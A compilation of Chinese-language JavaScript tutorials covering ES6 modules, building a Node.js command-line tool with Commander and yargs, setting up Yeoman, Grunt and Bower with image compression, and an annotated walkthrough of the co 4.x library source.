事过情迁，JavaScript 项目已经变得十分庞大，社区也发展出了一些有助于开发可扩展程序的工具。首先你需要的便是模块系统。模块系统让你得以将你的工作分散在不同的文件和目录中，让它们之前得以互相访问，并且可以非常有效地加载它们。自然而然地，JavaScript 发展出了模块系统，事实上是多个模块系统（AMD，CommonJS，CMD，译者注）。不仅如此，社区还提供了包管理工具（NPM，译者注），让你可以安装和拷贝高度依赖其他模块的软件。也许你会觉得，带有模块特性的 ES6，来得有些晚了。

模块基础

一个 ES6 的模块是一个包含了 JS 代码的文件。ES6 里没有所谓的 module 关键字。一个模块看起来就和一个普通的脚本文件一样，除了以下两个区别：


	ES6 的模块自动开启严格模式，即使你没有写 'use strict'。


	你可以在模块中使用 import 和 export。




让我们先来看看 export。在模块中声明的任何东西都是默认私有的，如果你想对其他模块 Public，你必须 export 那部分代码。我们有几种实现方法，最简单的方式是添加一个 export 关键字。

// kittydar.js - Find the locations of all the cats in an image.
// (Heather Arthur wrote this library for real)
// (but she didn't use modules, because it was 2013)

export function detectCats(canvas, options) {
  var kittydar = new Kittydar(options);
  return kittydar.detectCats(canvas);
}

export class Kittydar {
  ... several methods doing image processing ...
}

// This helper function isn't exported.
function resizeCanvas() {
  ...
}
...

你可以在 function、class、var、let 或 const 前添加 export。

如果你想写一个模块，有这些就够了！再也不用把代码放在 IIFE 或者一个回调函数里了。既然你的代码是一个模块，而非脚本文件，那么你生命的一切都会被封装进模块的作用域，不再会有跨模块或跨文件的全局变量。你导出的声明部分则会成为这个模块的 Public API。

除此之外，模块里的代码和普通代码没啥大区别。它可以访问一些基本的全局变量，比如 Object 和 Array。如果你的模块跑在浏览器里，它将可以访问 document 和 XMLHttpRequest。

在另外一个文件中，我们可以导入这个模块并且使用 detectCats() 函数：

// demo.js - Kittydar demo program

import {detectCats} from "kittydar.js";

function go() {
    var canvas = document.getElementById("catpix");
    var cats = detectCats(canvas);
    drawRectangles(canvas, cats);
}

要导入多个模块中的接口，你可以这样写：

import {detectCats, Kittydar} from "kittydar.js";

当你运行一个包含 import 声明的模块，被引入的模块会先被导入并加载，然后根据依赖关系，每一个模块的内容会使用深度优先的原则进行遍历。跳过已经执行过的模块，以此避免依赖循环。

这便是模块的基础部分，挺简单的。

导出表

如果你觉得在每个要导出的部分前都写上 export 很麻烦，你可以只写一行你想要导出的变量列表，再用花括号包起来。

export {detectCats, Kittydar};

// no `export` keyword required here
function detectCats(canvas, options) { ... }
class Kittydar { ... }

导出表不一定要出现在文件的第一行，它可以出现在模块顶级作用域中的任何一行。你可以写多个导出表，也可以在列表中再写上其他 export 声明，只要没有变量名被重复导出即可。

重名命导出和导入

如果导入的变量名恰好和你模块中的变量名冲突了，ES6 允许你给你导入的东西重命名：

// suburbia.js

// Both these modules export something named `flip`.
// To import them both, we must rename at least one.
import {flip as flipOmelet} from "eggs.js";
import {flip as flipHouse} from "real-estate.js";
...

类似地，你在导出变量的时候也能重命名。这个特性在你想将同一个变量名导出两次的场景下十分方便，举个栗子：

// unlicensed_nuclear_accelerator.js - media streaming without drm
// (not a real library, but maybe it should be)

function v1() { ... }
function v2() { ... }

export {
  v1 as streamV1,
  v2 as streamV2,
  v2 as streamLatestVersion
};

默认导出

新一代的标准的设计理念是兼容现有的 CommonJS 和 AMD 模块。所以如果你有一个 Node 项目，并且刚刚执行完 npm install lodash，你的 ES6 代码可以独立引入 Lodash 中的函数：

import {each, map} from "lodash";

each([3, 2, 1], x => console.log(x));

然而如果你已经习惯了 _.each 或者看不见 _ 的话就浑身难受，当然这样使用 Lodash 也是不错的方式。

这种情况下，你可以稍微改变一下你的 import 写法，不写花括号：

import _ from "lodash";

这个简写等价于 import {default as _} from "lodash";。所有 CommonJS 和 AMD 模块在被 ES6 代码使用的时候都已经有了默认的导出，这个导出和你在 CommonJS 中 require() 得到的东西是一样的，那就是 exports 对象。

ES6 的模块系统被设计成让你可以一次性引入多个变量。但对于已经存在的 CommonJS 模块来说，你能得到的只有默认导出。举个栗子，在撰写此文之时，据笔者所知，著名的 colors 模块并未特意支持 ES6。这是一个由多个 CommonJS 模块组成的模块，正如 npm 上的那些包。然而你依然可以直接将其引入到你的 ES6 代码中。

// ES6 equivalent of `var colors = require("colors/safe");`
import colors from "colors/safe";

如果你想写自己的默认导出，那也很简单。这里面并没有什么高科技，它和普通的导出没什么两样，除了它的导出名是 default。你可以使用我们之前已经介绍过的语法：

let myObject = {
  field1: value1,
  field2: value2
};
export {myObject as default};

这样更好：

export default {
  field1: value1,
  field2: value2
};

export default 关键字后可以跟随任何值：函数，对象，对象字面量，任何你能说得出的东西。

模块对象

抱歉，这篇文章的内容有点多，但 JavaScript 已经算好的了：因为一些原因，所有语言的模块系统都有一大堆没什么卵用的特性。所幸的是，咱们只有一个话题要讨论了，呃，好吧，两个。

import * as cows from "cows";

当你 import *，被引入进来的是一个 module namespace object。它的属性是那个模块的导出，所以如果 “cows” 模块导出了一个名为 moo() 的函数，当你像这样引入了 “cows” 之后，你可以这样写 cows.moo()。

聚合模块

有时候一个包的主模块会引入许多其他模块，然后再将它们以一个统一的方式导出。为了简化这样的代码，我们有一个 import-and-export 的简写方法：

// world-foods.js - good stuff from all over

// import "sri-lanka" and re-export some of its exports
export {Tea, Cinnamon} from "sri-lanka";

// import "equatorial-guinea" and re-export some of its exports
export {Coffee, Cocoa} from "equatorial-guinea";

// import "singapore" and export ALL of its exports
export * from "singapore";

这种 export-from 的表达式和后面跟了一个 export 的 import-from 表达式类似。但和真正的导入不同，它并不会在你的作用域中加入二次导出的变量绑定。所以如果你打算在 world-foods.js 写用到了 Tea 的代码，就别使用这个简写形式。

如果 "singapore" 导出的某一个变量恰巧和其他的导出变量名冲突了，那么这里就会出现一个错误。所以你应该谨慎使用 export *。

Whew！我们介绍完语法了，接下来进入有趣的环节。


import 到底干了啥

啥也没干，信不信由你。

噢，你好像看起来没那么好骗。好吧，那你相信标准几乎没有谈到  import 该做什么吗？你认为这是一件好事还是坏事呢？

ES6 将模块的加载细节完全交给了实现，其余的执行部分则规定得非常详细。

大致来说，当 JS 引擎运行一个模块的时候，它的行为大致可归纳为以下四步：


	解析：引擎实现会阅读模块的源码，并且检查是否有语法错误。


	加载：引擎实现会（递归地）加载所有被引入的模块。这部分咱还没标准化。


	链接：引擎实现会为每个新加载的模块创建一个作用域，并且将模块中的声明绑定填入其中，包括从其他模块中引入的。




当你尝试 import {cake} from "paleo" 但是  “paleo” 模块并没有导出叫 cake 的东西时候，你也会在此时得到错误。这很糟糕，因为你离执行 JS，品尝 cake 只差一步了！

	执行：终于，JS 引擎开始执行刚加载进来的模块中的代码。到这个时候，import 的处理过程已经完成，因此当 JS 引擎执行到一行 import 声明的时候，它啥也不会干。




看到了不？我说了 import “啥也没干”，没骗你吧？有关编程语言的严肃话题，哥从不说谎。

不过，现在咱们可以介绍这个体系中有趣的部分了，这是一个非常酷的 trick。正因为这个体系并没有指定加载的细节，也因为你只需要看一眼源码中的 import 声明就可以在运行前搞清楚模块的依赖，某些 ES6 的实现甚至可以通过预处理就完成所有的工作，然后将模块全部打包成一个文件，最后通过网络分发。像 webpack 这样的工具就是做这个事情的。

这非常的了不起，因为通过网络加载资源是非常耗时的。假设你请求一个资源，接着发现里面有 import 声明，然后你又得请求更多的资源，这又会耗费更多的时间。一个 naive 的 loader 实现可能会发起许多次网络请求。但有了 webpack，你不仅可以在今天就开始使用 ES6，还可以得到一切模块化的好处并且不向运行时性能妥协。

原先我们计划过一个详细定义的 ES6 模块加载规范，而且我们做出来了。它没有成为最终标准的原因之一是它无法与打包这一特性调和。模块系统需要被标准化，打包也不应该被放弃，因为它太好了。

动态 VS 静态，或者说：规矩和如何打破规矩

作为一门动态编程语言，JavaScript 令人惊讶地拥有一个静态的模块系统。


	import 和 export 只能写在顶级作用域中。你无法在条件语句中使用引入和导出，你也不能在你写的函数作用域中使用import。


	所有的导出必须显示地指定一个变量名，你也无法通过一个循环动态地引入一堆变量。


	模块对象被封装起来了，我们无法通过 polyfill 去 hack 一个新 feature。


	在模块代码运行之前，所有的模块都必须经历加载，解析，链接的过程。没有可以延迟加载，惰性 import 的语法。


	对于 import 错误，你无法在运行时进行 recovery。一个应用可能包含了几百个模块，其中的任何一个加载失败或链接失败，这个应用就不会运行。你无法在 try/catch 语句中 import。（不过正因为 ES6 的模块系统是如此地静态，webpack 可以在预处理时就为你检测出这些错误）。


	你没办法 hook 一个模块，然后在它被加载之前运行你的一些代码。这意味着模块无法控制它的依赖是如何被加载的。




只要你的需求都是静态的话，这个模块系统还是很 nice 的。但你还是想 hack 一下，是吗？

这就是为啥你使用的模块加载系统可能会提供 API。举个栗子，webpack 有一个 API，允许你 “code splitting”，按照你的需求去惰性加载模块。这个 API 也能帮你打破上面列出的所有规矩。

ES6 的模块是非常静态的，这很好——许多强大的编译器工具因此收益。而且，静态的语法已经被设计成可以和动态的，可编程的 loader API 协同工作。

我何时能开始使用 ES6 模块？

如果你今天就要开始使用，你需要诸如 Traceur 和 Babel 这样的预处理工具。这个系列专题之前也有文章介绍了如何使用 Babel 和 Broccoli 去生成可用于 Web 的 ES6 代码。那篇文章的栗子也被开源在了 GitHub 上。笔者的这篇文章也介绍了如何使用 Babel 和 webpack。

ES6 模块系统的主要设计者是 Dave Herman 和 Sam Tobin-Hochstadt，此二人不顾包括笔者在内的数位委员的反对，始终坚持如今你见到的 ES6 模块系统的静态部分，争论长达数年。Jon Coppeard 正在火狐浏览器上实现 ES6 的模块。之后包括 JavaScript Loader 规范在内的工作已经在进行中。HTML 中类似 <script type=module> 这样的东西之后也会和大家见面。

这便是 ES6 了。

欢迎大家对 ES6 进行吐槽，请期待下周 ES6 in Depth 系列的总结文章。
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github仓库源码下载   

这不仅是一篇教程，还是通过命令行输出我自己简历的一个工具O(∩_∩)O哈哈哈~，很有趣的样子哦。



# 全局安装，安装报错是需要前面加上sudo
$ sudo npm install -g wcj 

# 输出帮助
$ wcj -h
  Usage: wcj 这里是我私人玩耍的命令哦！[options] <package>


  Commands:

    resume|rs [options] [cmd]    这里是我的简历详情！

  Options:

    -h, --help     output usage information
    -V, --version  output the version number

# 输出子命令帮助
$ wcj rs -h

  Usage: resume|rs [options] [cmd]

    这里是我的简历详情！

  Options:

    -h, --help              output usage information
    -b, --basicinfo [type]  基本信息
    -e, --education [type]  教育经历

  basicinfo 说明:

    preview 预览简历

    -b, --basicinfo 基本信息
       name : 名字
       height : 身高
       dateOfBirth : 出生日期
       workExperience : 工作经验
       mobile : 手机号码
       telephone : 电话号码
       email : 邮箱地址
       residency : 居住地点
       currentSituation : 现状
       currentCity : 当前城市
       nation : 国家
       region : 地区
       postalCode : 邮编地址
       ID : 身份证ID
       website : 个人网赚
       maritalStatus : 婚姻状况
       politicalStatus : 政治面貌
    -e, --education 教育经历

在使用 Nodejs 过程中，有很多包都支持全局安装，提供一个命令，然后在命令行我们就可以完成一些任务。有时候我们也需要开发这样的命令工具。在Node.js 中发现弄个命令行工具特别轻松，我来学习如何使用 Node.js 生成自己的command命令，在未来的项目中方便自己。


	先弄个小实例感受一下命令行的魅力


	再用命令行实现输出自己的简历（我觉得这个可能很有趣）


	
常用的命令加入进来


	ls 查看当前目录


	ls -a 包括隐藏文件


	打开当前目录






	就先这么计划着吧。




小实例

开始编写之前需要确认的一件事情是你已经安装了Node.js。你可以在命令行中运行 which node 来确认是否已经安装，或者运行 node -v 查看 node 的版本 。如果你已经安装了node，你可以看到类似于下面的输出结果，一般情况安装了node.js 顺带npm工具自动安装了。

$ which node
/usr/local/bin/node  

$ node -v
v0.10.36

创建目录

首先任意创建一个文件夹，初始化 package.json 文件，在该文件夹下创建bin目录：

$ mkdir wcj #创建一个文件夹
$ cd wcj && mkdir bin
$ npm init #初始化 `package.json` 文件

编写命令行

cd到 bin 目录下，新建一个 wcj.js 文件(名字自取)，编写如下代码，在js文件顶部加上 #!/usr/bin/env node 这段代码：

#!/usr/bin/env node  
var fs = require("fs"),
    path = process.cwd();

var run= function (obj) {
    if(obj[0] === '-v'){
        console.log('version is 1.0.0');
    }else if(obj[0] === '-h'){
        console.log('Useage:');
        console.log('  -v --version [show version]');
    }else{
        fs.readdir(path, function(err, files){
            if(err){
                return console.log(err);
            }
            for(var i = 0; i < files.length; i += 1){
                console.log(files[i]);
            }
        });
    }
};
//获取除第一个命令以后的参数，使用空格拆分
run(process.argv.slice(2)); 

上面的 #!/usr/bin/env node 被成为 shebang ，表示用后面的路径所示的程序来执行当前文件夹。还需要一个 package.json 文件

{
  "name": "wcj",
  "version": "1.0.0",
  "description": "wcj ---",
  "repository": {
    "type": "git",
    "url": "https://github.com/jaywcjlove/wcj.git"
  },
  "main": "index.js",
  "bin": { "wcj": "bin/wcj.js" },
  "author": "kenny wang <wowohoo@qq.com> ",
  "license": "MIT"
}

运行 node bin/wcj.js 会显示当前文件夹下的所以文件和文件夹名。这个玩意儿真的跑起来了。更多npm link的信息请查看   

package.json 文件中 bin 里面的内容表示这个字段将 wcj 命令映射到了你的 bin/wcj.js 脚本。bin参考 

此工具采用 npm版本号采用的 semver 规则

"bin": { "wcj": "bin/wcj.js" }

列子源码

全局运行命令调试

确保你在 package.json 文件中添加了 bin 节点。然后打开命令了工具进入 wcj 目录



install

如果在项目目录下运行没有问题，可以将当前目录模块安装到全局，也可以采用此方法来更新你的命令行工具

sudo npm install . -g

link

或者目录输入 npm link 会自动添加全局的 symbolic link ，然后就可以使用自己的命令了。

$ wcj
#README.md
#bin
#package.json

$ cmd -v
# version is 1.0.0

$ cmd -h 
#Useage:
#  -v --version [show version]

错误处理

在运行 sudo npm install . -g 会有一堆警告可以忽视

如果你已经 npm link 搞了一遍你再 link 一遍，会报如下错误。即使你 npm unlink 也会报如下错误：

npm link
npm ERR! Darwin 14.3.0
npm ERR! argv "node" "/usr/local/bin/npm" "link"
npm ERR! node v0.10.36
npm ERR! npm  v2.7.1
npm ERR! path /usr/local/bin/wcj
npm ERR! code EEXIST

npm ERR! Refusing to delete: /usr/local/bin/wcj not in /Applications/XAMPP/xamppfiles/htdocs/git/github.com/myJS/wcj
File exists: /usr/local/bin/wcj
Move it away, and try again.

让你删除 /usr/local/bin/wcj 再 npm link ， 删除此目录运行 rm -rf /usr/local/bin/wcj

发布安装

发布到npm中

发布必须注册 npm 账号，还有 github 账号，具体怎么玩儿问 谷歌大婶吧。在JSLite.io 中也有教程哦。

npm publish

安装

前提你发布到了npm中，你就可以运行下面的命令了。

sudo npm install -g wcj

例子下载：v1.0.1

Commander

依赖 nodejs 原生开发命令工具比较麻烦，Commander.js 可以帮助我们简化命令行开发。Commander 是一款重量轻，表现力和强大的命令行框架。提供了用户命令行输入和参数解析强大功能。Commander 源自一个同名的Ruby项目。Commander.js 是 TJ 写的一个帮助快速开发Nodejs命令行工具的package。TJ这货是Nodejs社区里非常知名的高产作者。方便的定义option(包括option的描述和其回调函数)和子命令。

特性

Commander的方便之处在于：  

自记录代码、自动生成帮助、合并短参数（“ABC”==“-A-B-C”）、默认选项、强制选项​​、命令解析、提示符

API

Option(): 初始化自定义参数对象，设置“关键字”和“描述”  
Command(): 初始化命令行参数对象，直接获得命令行输入  
Command#command(): 定义一个命令名字  
Command#action(): 注册一个callback函数  
Command#option(): 定义参数，需要设置“关键字”和“描述”，关键字包括“简写”和“全写”两部分，以”,”,”|”,”空格”做分隔。  
Command#parse(): 解析命令行参数argv  
Command#description(): 设置description值  
Command#usage(): 设置usage值  

参考：官方文档例子

安装

安装commander

sudo npm install commander

Option

内置选项Built-in option，Commander 会为程序提供给一个默认的 -h option。

program
  .version('0.0.1')
  .option('-r, --resume', '简历');
program.parse(process.argv);

其中parse函数是处理定义的option和sub-command， 解析命令行参数并触发相应的回调(下文会说)。


./bin/wcj.js -h
## 输出下面内容
  Usage: wcj [options]

  Options:

    -h, --help     output usage information
    -V, --version  output the version number
    -r, --resume   简历

可以看到默认就有个 -h 参数，传入后会输出 wcj 命令的帮助信息。

Custom option

为 wcj 命令增加一个 option，展示说明是我的简历。

program
  .version('0.0.1')
  .option('-r| --resume', '简历');
program.parse(process.argv);

if (program.resume) {
    console.log('简历 - '
        + '这个是我的简历！'
    );
}

option() 接收四个参数


	第一个参数中，-r 为short option，--resume为对应的long option, 二者的分割符是|或者,。在命令行里使用时，这两个是等价的。 区别是后者可以在程序里通过 program.resume 的方式取到该 option 的值，此处 option 的值为 bool，也可以为字符串。


	第二个为 option 描述, 会在 help 信息里展示出来


	第三个参数为回调函数


	第四个参数为默认值




Unknown option

当接收到未定义的option时，程序会自动抛出错误

./bin/wcj.js -h

## 输出下面内容
error: unknown option '--res'

Commander同时提供了api来取消这个自动报错机制， .allowUnknownOption()。

#!/usr/bin/env node
program
    .allowUnknownOption()
    .version('0.0.1')
    .option('-r, --resume', '简历');

program.parse(process.argv);
//省略一些细节...

Option types

Command支持以下两种类型的option： required 、 optional 和 bool

required 和 optional

在option的第一个参数里, 除了short，long option，还可以指定option类型，分隔符也是|和, 其中


	<lang> required参数，使用时后边必须跟参数值, 否则程序会报错


	[db] optional参数，后面可以选择是否跟参数值




#!/usr/bin/env node  
var program = require('commander');
program
    .allowUnknownOption()
    .version('0.0.1')
    .option('-r, --resume', '简历')
    .option('-l, --language <lang>', '这个语言是我擅长的语言。')
    .parse(process.argv);

if (program.resume) {
    console.log('简历'
        + '-'
        + '这个是我的简历！'
    );
}

if (program.language) console.log('language: 我擅长的语言`' + program.language + '`');
if (program.database) console.log('db: 我擅长的语言`' + program.database + '`');


看下效果

./bin/wcj.js -l python
## 输出
language: 我擅长的语言`python`
db: 我擅长的语言`MySQL`

./bin/wcj.js -l
## 输出
  error: option '-l, --language <lang>' argument missing

bool

选项值为布尔型, 像上面的--date, 默认是false，当使用此参数时，program.date 为true, 否则为false   

bool型option有个变种，当long option定义为no-*时默认值为true, 将

var program = require('commander');
program
  .option('-d, --no-date', 'don‘t display current date')
  .parse(process.argv);

var dt = new Date();
if (program.date) {
    console.log(dt.getFullYear()
        + '-'
        + (dt.getMonth() + 1)
        + '-'
        + dt.getDate()
    );
}

不带-d 参数时, 参数的默认值为true

Automated --help

Commander会根据配置的option，sub-command等信息，自动生成help信息。

Custom help

可以通过监听--help事件来输出额外的帮助信息，如下面给fe命令添加了一些examples

// must be before .parse() since node's emit() is immediate
program.on('--help', function () {
    console.log('  自定义的例子:')
    console.log('')
    console.log('    输出命令  wcj -d')
    console.log('    输出命令  wcj -l python')
    console.log('')
})

program.parse(process.argv);

效果如下：

./bin/wcj.js -h

  Usage: wcj [options]

  Options:

    -h, --help             output usage information
    -d, --no-date          display current time
    -l, --language <lang>  这个语言是我擅长的语言。
    -b, --database [db]    该数据库为我最擅长数据库

  自定义的例子:

    输出命令  wcj -d
    输出命令  wcj -l python

像git风格一样的命令

列子源码

#!/usr/bin/env node 
var program = require('commander');
var appInfo = require('./../package.json');

program
    .version(appInfo.version)
    .usage('这里是我私人玩耍的命令哦！[options] <package>')

//像git风格一样的子命令
program
    //子命令
    .command('resume <cmd>')
    //短命令 - 简写方式
    .alias('rs')
    //说明
    .description('这里是我的简历详情！')
    //resume的子命令
    .option("-n, --name <mode>", "输出我的名字")
    //注册一个callback函数
    .action(function(cmd, options){
        var nm = typeof options.name=='string'?options.name:""

        console.log('resume "%s" 使用 %s 模式', cmd, nm);
    }).on('--help', function() {
        //这里输出子命令的帮助
        console.log('  Examples:');
        console.log('    运行方法：');
        console.log('    $ ./bin/wcj.js resume ss -n aaaaa');
        console.log('    $ ./bin/wcj.js resume ss');
        console.log();
    });

program.parse(process.argv);

上面实例运行输出方式

$ ./bin/wcj.js resume ss -n aaaaa

#输出：
resume "ss" 使用 aaaaa 模式

$ ./bin/wcj.js resume ss
#输出：
resume "aa" 使用  模式

事件监听

命名多少个命令就监听多少命令，--help 为默认监听事件。

program.on('--help', function(argv,test){
    process.exit(1);
});

yargs

命令行框架 yargs 和你的程序实现交互 yargs for github

var argv = require('yargs').argv;
if (argv.l == 'zh-cn') {
    console.log('Chinese site!');
}else if(argv.l == 'en') {
    console.log('English website!');
}

使用

var argv = require('yargs').argv;
if (argv.l == 'zh-cn') {
    console.log('Chinese site!');
}else if(argv.l == 'en') {
    console.log('English website!');
}

阅读参考

第一个小实例看了很多文章，记录一下，感觉非常简单的样子。


	用node.js开发命令行工具


	Command-line utilities with Node.js


	使用Node.js创建命令行工具


	commander.js


	commander.js例子


	node-optimist





 Yeoman（Yo、Grunt、Bower）——前端工程化-新手之路1

作者：mli

来源： Yeoman（Yo、Grunt、Bower）——前端工程化-新手之路1



                    
发这篇文章的理由是：今天终于在Win7环境下完成了NodeJs、Yo(来自Yeoman的脚手架工具)、Grunt（构建工具）、Bower（包管理工具）的安装和简单部署，虽然只是前端工程化的一小步，但是已让我有点小兴奋。

O(∩_∩)O哈哈~


再也不用到YUI Compressor上去压缩JS&CSS；

再也不用把png图片一个个拖到TinyPNG进行在线压缩（和熊猫哥哥说再见了）；

再不用把JPG/JPEG图片拖 JPEGMini（这个软件花了$19.99购买）软件里面压缩


如下便是我今天的小小尝试：



	安装NodeJs



从NodeJs官网下载安装包 http://nodejs.org/ 直接进行安装，相信很快就能完成安装



	安装Yo、Grunt、Bower



直接打开NodeJs的命令行界面



输入如下代码：（“-g” 代表全局安装）



  npm install -g grunt-cli bower




安装完成后，进入基本的脚手架安装


为了搭建一个web应用脚手架，你将需要安装generator-webapp生成器：



  npm install -g generator-webapp




这是默认的web应用生成器，它将搭建一个项目脚手架包括HTML5 Boilerplate，jQuery，Modernizr，还有Bootstrap。在交互的提示中你可以选择不包含它们中的一些。


现在生成器已经安装好了，为你的项目创建一个新的目录，



  mkdir my-yo-project





  cd my-yo-project




然后运行：



  yo webapp




每一个由yo创建的项目也将会pull相关的Grunt任务，这些任务是社区认为对你的工作流是需要的或者有用的。

对于web应用来说，这个webapp生成器被认为是最简单可行的一个开始。它也提供了一些框架生成器，它们可以被用来搭建项目脚手架以及之后的视图，模型，控制器等等。


上面一段基本来自Yeoman的中文文档，详细的内容可以到该网站去了解。


如上，只要一步一步进行就可以了，基本上不会有错误。


接着，你需要测试下你的工具是否安装正确：运行如下命令：



  grunt server




这实际上是运行你的站点，中间会出现找不到“Imagemin”，但程序仍然会继续运行到：默认浏览器弹出：
http://localhost:9000/



这证明你的安装没有问题。


“Imagemin”的问题，我们还没有解决，这是一个相当给力的压缩插件，能对JPEG&PNG进行非常高压缩比的压缩，只需要运行命令行，一步完成所有图片压缩（妈妈再也不用担心你做重复工作了）。


安装 imagemin 插件


命令行下切换到你的项目文件夹，



  cd projectName




输入以下命令进行安装：



  npm install grunt-contrib-imagemin --save-dev




配置压缩图片任务


接下来配置 Gruntfile.js （这个文件可在你的项目文件夹找到），定义优化图片大小的任务：


module.exports = function (grunt) {
    'use strict';
    grunt.initConfig({
        imagemin: {
          dist: {

            options: {
                optimizationLevel: 3 //定义 PNG 图片优化水平    （1）
            },

            files: [{
              expand: true,
              cwd: '<%= config.app %>/images',   // 优化 img 目录下所有 png/jpg/jpeg 图片
              src: '{,*/}*.{gif,jpeg,jpg,png}',
              dest: '<%= config.dist %>/images'   // 优化后的图片保存位置，覆盖旧图片，并且不作提示
            }]
          }
        },
    });
    grunt.loadNpmTasks('grunt-contrib-imagemin');             （2）
    grunt.registerTask('img', ['imagemin']);                  （3）
};



<%= config.app %>/images  指的是你的项目目录app/images
<%= config.dist %>/images  指的是你的项目目录dist/images


实际上别的都不用管，只需要添加以上代买的（1）（2）（3），自己看一看，你就知道它们应该放到Gruntfile.js的哪个位置了。


接下来运行命令：



  grunt imagemin




你的图片立马被压缩了，我用原来方法JPEGmini压缩的一张图199KB，用该命令行运行压出来却是154KB，感觉很给力。图片压缩的比率非常可观。之后再使用 Google PageSpeed （需要翻墙进入）工具检测，就不再提醒我们压缩图片。


整个过程其实还是很简单的，但是如果你是第一次，可能会有些小负担，所以动手试试，不要让小问题阻挡了你的进步。


哈哈，其实以上都是来自百度，如下是我觉得比较有用的站点汇总，你可以进一步学习。



	Yeoman中文文档：http://yeomanjs.org/gettingstarted.html


	Grunt中文：http://www.gruntjs.org/docs/getting-started.html

（这个貌似翻墙会更流畅）

	Grunt中批量无损压缩图片插件安装－Grunt-contrib-imagemin

：http://handyxuefeng.blog.163.com/blog/static/45452172201391415246847/


	Bower介绍：http://blog.javachen.com/2014/05/10/bower-intro/




不要再让自己作为前端工程师Out了，行动起来！O(∩_∩)O哈哈~


 一起来实现co（Promise化的4.X版）

作者：菜菜蔡伟

来源： 一起来实现co（Promise化的4.X版）



                    
前言


大名鼎鼎的co正是TJ大神基于ES6的一些新特性开发的异步流程控制库，基于它所开发的koa更是被视为未来主流的web框架。之前在论坛也看了不少大神们关于co源码的分析，不过co在升级为4.X版本时，代码进行了一次颇有规模的重构，从先前的基于thunkify函数，改变成了现在的基于Promise，并且可能在未来版本移除对thunkify函数的支持。正好小弟最近也在看TJ大神的源码，也来分享一下co（4.X）的实现思路以及源码注解。


进入正题


以下是两段co（4.X）的经典使用示例：


jsco(function* () {
  var result = yield Promise.resolve(true);
  return result;
}).then(function (value) {
  console.log(value);
}, function (err) {
  console.error(err.stack);
});



jsco(function *(){
  // resolve multiple promises in parallel 
  var a = Promise.resolve(1);
  var b = Promise.resolve(2);
  var c = Promise.resolve(3);
  var res = yield [a, b, c];
  console.log(res);
  // => [1, 2, 3] 
}).catch(onerror);



再结合co的文档，我们可以把co的主要功能分为：



	异步流程控制，依次执行generator函数内的每个位于yield后的Promise对象，并在Promise的状态改变后，把其将要传递给reslove函数的结果或传递给reject函数的错误返回出来，可供外部来进行传递值等操作，这些Promise是串行执行的。

	若yield后是Promise对象的数组或属性值是Promise对象的对象，则返回出结构相同的Promise执行结果数组/对象，并且这些Promise是并行执行的。

	co自身的返回值也是一个Promise对象，可供继续使用。



好了，我们要实现以上这几个功能，其实就是解决以下几个问题：



	确保每一个yield动作的串行执行，并正确的返回异步结果。

	若在yield后的是Promise数组或属性值为Promise对象的对象，则并行执行这些Promise。

	检查每一个yield后的对象是否符合要求，若不，则尝试进行转换。

	最后整体返回一个Promise。



我们来逐个击破。


解决 1、4


以下是co源码中的解决 1、4 的方案：


jsfunction co(gen) {
  var ctx = this;

  /**
   * 我们看到，co函数整个的返回值便是一个Promise实例，包装了
   * 传递的generator函数内所有Promise的执行，
   * 我们暂且称它为"外壳Promise"吧，而在传递进来的generator函数内的所有Promise我们都先称为“内部Promise”，
   * 用以区分。
   */
  return new Promise(function(resolve, reject) {

    //判断传递给co的参数，若是一个generator函数，则执行之，得到一个generator对象
    if (typeof gen === 'function') gen = gen.call(ctx);
    //此时gen对象还不是一个generator对象的话，
    //则调用“外壳Promise”的resolve，直接结束整个“外壳Promise”，把参数值作为结果传出
    if (!gen || typeof gen.next !== 'function') return resolve(gen);

    //入口，这个函数的详细分析请往下看两行。。
    onFulfilled();

    //这个onFulfilled函数主要有两个用途:
    //第一个用途就是上面的入口函数的功能，将generator执行到第一个yield处开启第一个异步调用
    //第二个用途便是当作所有”内部Promise“的resolve方法，处理异步结果，并继续调用下一个Promise
    function onFulfilled(res) {
      var ret;
      try {
        //当作为”内部Promise“的resolve方法时，res参数自然便是本次Promise的执行结果了
        //利用generator函数的特性，调用next方法时的参数，会当做yield的返回值，这样我们就做到了将异步的结果返回出来
        ret = gen.next(res);
      } catch (e) {
        //若报错，则直接调用"外壳Promise"的reject方法，直接结束整个“外壳Promise”，把错误对象作为结果传出
        return reject(e);
      }

      //将generator.next的执行结果传入next函数，实现串行调用。关于next函数的分析也请往下看。。
      next(ret);
    }

    //这个onRejected函数的用途自然便是当作"内部Promise"的reject方法啦
    function onRejected(err) {
      var ret;
      try {
        ret = gen.throw(err);
      } catch (e) {
        return reject(e);
      }
      next(ret);
    }

    //这个next函数便是用来执行串行调用
    function next(ret) {
      //如果“内部Promise”，全部执行完毕，done的值便已经是generator函数中的return出的值了，
      //把这个结果传递给“外壳Promise”的resolve函数，暴露给处理整个co结果的后续调用
      if (ret.done) return resolve(ret.value);

      //若“内部Promise”尚未执行完毕，那么确保ret.value是一个Promise对象，并进而调用它
      var value = toPromise.call(ctx, ret.value);
      if (value && isPromise(value)) return value.then(onFulfilled, onRejected);
      return onRejected(new TypeError('You may only yield a function, promise, generator, array, or object, '
        + 'but the following object was passed: "' + String(ret.value) + '"'));
    }
  });
}



好，到这儿我们已经把co4.X的核心串行调用的实现过程给搞定了。整个的执行流程可以归结为：



	进入“外壳Promise”


	通过入口onFulfilled()，取得第一个Promise对象

	将每一个“内部Promise”通过then(onFulfilled, onRejected)开始执行，并将resolve函数都封装为onFulfilled()，reject函数都封装为onRejected()


	通过在onFulfilled()或onRejected()内调用next方法，实现在一个异步调用结果返回后继续执行下一个，通过将结果作为参数传递给next方法，实现将异步结果返回给外部，依次往复。

	所有内部Promise执行完毕，将最后结果暴露给外壳Promise的处理函数，结束



解决 2、3


在TJ大神的源码中，2其实伴随在3(即上面代码中的toPromise方法)中解决的，我们来看一下：


js/**
 * 主要任务便是将传入的参数对象转换为Promise对象
 */
function toPromise(obj) {
  //确保obj有意义
  if (!obj) return obj;
  //如果已经是Promise对象，则直接把obj返回出去
  if (isPromise(obj)) return obj;
  //若是generator函数或现成的generator对象，则直接把obj作为参数传入co函数，并把这个co函数
  //返回出来的"外壳Promise"作为return出来的Promise
  if (isGeneratorFunction(obj) || isGenerator(obj)) return co.call(this, obj);
  //若obj是函数，则直接视为符合thunk规范的函数（thunk函数是啥这里就不细说了哈。。），直接转换
  if ('function' == typeof obj) return thunkToPromise.call(this, obj);
  //若是Promise数组，则调用arrayToPromise方法
  if (Array.isArray(obj)) return arrayToPromise.call(this, obj);
  //若是属性值是Promise对象的对象，则调用objectToPromise方法
